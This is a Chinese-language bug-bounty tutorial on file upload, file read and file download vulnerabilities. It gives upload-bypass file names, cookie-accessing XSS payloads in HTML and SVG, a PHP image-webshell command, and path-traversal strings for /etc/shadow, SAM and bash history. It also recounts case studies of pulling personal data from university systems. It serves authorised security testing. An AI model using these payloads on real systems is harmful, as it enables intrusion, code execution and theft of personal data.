文章目录前言一、文件上传漏洞测试1. 测试流程2. 常见绕过方法双后缀绕过大小写绕过特殊字符绕过双写后缀绕过Windows特性绕过3. 文件内容构造HTML文件存储型XSSSVG文件XSSSSRFXML文件XSS图片马PHP4. 服务器配置漏洞IIS解析漏洞FastCGI解析漏洞路径遍历结合上传5. 上传文件后续利用二、文件读取漏洞测试1. 测试方法2. 常用路径遍历PayloadLinux系统Windows系统3. 高级绕过技巧多层遍历混合编码绕过Unicode编码绕过4. 敏感文件读取清单三、文件下载漏洞测试1. 测试场景导出功能测试文件ID遍历系统通杀接口2. 测试Payload基础路径遍历编码绕过四、实战案例总结案例1某高校用电监管平台文件上传漏洞案例2某高效任意文件读取漏洞案例3某学校系统通杀任意文件下载漏洞结语⚠️本博文所涉安全渗透测试技术、方法及案例仅用于网络安全技术研究与合规性交流旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前必须获得目标网络 / 系统所有者的明确且书面授权严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。前言在SRC漏洞挖掘中文件操作漏洞是常见的高危漏洞类型包括文件上传、文件读取、文件下载等。一旦成功利用攻击者可以获取敏感信息、执行恶意代码甚至完全控制服务器。本文将带你全面了解文件操作漏洞的测试思路、漏洞类型和实战技巧。一、文件上传漏洞测试1. 测试流程基础测试步骤定位上传功能找到文件上传入口头像上传、图片上传、附件上传等验证前端校验尝试上传非允许类型文件观察前端提示Burp绕过测试使用Burp Suite拦截请求修改文件名和类型验证上传结果查看上传后的文件路径确认是否可访问2. 常见绕过方法双后缀绕过1.html.png → 绕过前端校验 1.php.jpg → 服务端可能解析为PHP测试方法先构造1.html.png上传拦截后删除.png后缀。大小写绕过test.HTML test.PhP特殊字符绕过test.HTML test.HTML test.HTML/双写后缀绕过test.pphphpWindows特性绕过a.php. → Windows会自动去掉末尾的点变成a.php a.php::$DATA → NTFS交换数据流3. 文件内容构造HTML文件存储型XSS!DOCTYPEhtmlhtmlheadtitleXSS测试/title/headbodyscriptalert(XSS测试)/scriptimgsrcxonerrorconsole.log(document.cookie)//body/htmlSVG文件XSSSSRFsvgwidth300height200xmlnshttp://www.w3.org/2000/svgrectwidth100%height100%filllightgrey/foreignObjectx10y10width280height180bodyxmlnshttp://www.w3.org/1999/xhtmlscriptalert(document.cookie)/script/body/foreignObject/svgXML文件XSSsomething:scriptxmlns:somethinghttp://www.w3.org/1999/xhtmlalert(document.cookie);/something:script图片马PHP# 将PHP代码嵌入图片中copy a.jpg/b b.phpshell.phpPHP一句话木马?phpphpinfo();?4. 服务器配置漏洞IIS解析漏洞文件名. 文件名. # 写入到文件名.phpFastCGI解析漏洞# 在浏览器中访问正常图片地址1/php http://example.com/upload/test.jpg/1.php # 如果显示空白页面表示解析了PHP # 返回404则表示未开启路径遍历结合上传# 如果存储地址URL有规律测试上传后的路径遍历 http://example.com/upload/../../../../etc/passwd5. 上传文件后续利用测试场景上传exe、html文件后路径可以直接下载说明可以钓鱼图片内容可以是违法、造谣等、XSSJS代码找上传后地址上传后查看响应包找到文件存储路径在JavaScript代码中查找文件URL二、文件读取漏洞测试1. 测试方法基础测试步骤定位下载功能找到文件下载、查看、导出等功能构造路径遍历Payload尝试使用../、..\等验证漏洞读取/etc/passwd或/c:/windows/win.ini2. 常用路径遍历PayloadLinux系统../../../../../etc/passwd ../../../../../etc/shadow ../../../../../root/.bash_history ../../../../../var/lib/mlocate/mlocate.db ../../../../../proc/self/environWindows系统../../../../../windows/win.ini ../../../../../windows/system32/config/sam ../../../../../Program Files/MySQL/my.ini3. 高级绕过技巧多层遍历混合/home/file/tmp/.././.././.././.././.././etc/./passwd编码绕过..%2f..%2f..%2fetc%2fpasswd ..%5c..%5c..%5cwindows%5cwin.iniUnicode编码绕过..\u002f..\u002fetc\u002fpasswd4. 敏感文件读取清单文件路径用途说明/etc/passwd系统用户信息验证漏洞存在/etc/shadow用户密码哈希弱密码可破解/root/.bash_history历史命令可能包含敏感信息/var/lib/mlocate/mlocate.db文件索引数据库批量获取文件路径/proc/self/environ进程环境变量获取内网IP等信息/etc/my.cnfMySQL配置获取数据库密码/etc/httpd/conf/httpd.confApache配置服务器配置信息三、文件下载漏洞测试1. 测试场景导出功能测试测试方法观察导出功能的响应体查看响应文件内容修改请求体中的导出文件名称为../../../../etc/passwd文件ID遍历测试方法下载接口的文件ID是否可遍历如果ID不可遍历尝试通过其他接口获取系统通杀接口测试方法同系统多学校/企业使用接口可复用利用之前挖掘保留的接口获取文件ID2. 测试Payload基础路径遍历/download?file../../../../etc/passwd /download?id1path../../../../etc/passwd编码绕过/download?file%2e%2e%2f%2e%2e%2fetc%2fpasswd四、实战案例总结案例1某高校用电监管平台文件上传漏洞发现过程定位上传功能登录系统找到图片上传业务模块验证前端校验仅校验e.type可通过Burp绕过构造恶意文件创建HTML文件包含XSS脚本和DNSLog回连Burp修改上传构造payload_poc.htm.jpg拦截后删除.jpg后缀验证漏洞触发访问上传后的HTM文件脚本执行成功关键技巧前端校验不可信必须在服务端实施强校验。案例2某高效任意文件读取漏洞发现过程定位下载功能点找到系统的文件下载功能模块构造路径遍历Payload使用多层路径遍历和当前目录混合验证漏洞有效性成功读取到/etc/passwd文件内容读取mlocate.db获取系统的文件索引数据库获取敏感信息分析mlocate.db内容获取500身份证号、3000手机号关键技巧mlocate.db是宝藏读取文件索引数据库可批量获取文件路径。案例3某学校系统通杀任意文件下载漏洞发现过程注册账户进入招聘网站注册一个账户观察数据包发现下载接口但ID不可遍历利用系统通杀同系统多学校使用利用之前挖掘保留的接口获取文件ID构造下载URL拼接完整URL实现下载获取敏感文件成功下载用户上传的大量敏感信息关键技巧系统通杀思路同系统多部署接口可复用。结语文件操作漏洞是高危漏洞类型掌握文件操作测试技巧对于SRC漏洞挖掘至关重要。记住仔细测试每个上传/下载功能、灵活运用绕过技巧、关注敏感文件这是发现文件操作漏洞的关键。如果这篇文章对你有帮助请点赞支持一下有任何问题欢迎在评论区交流讨论。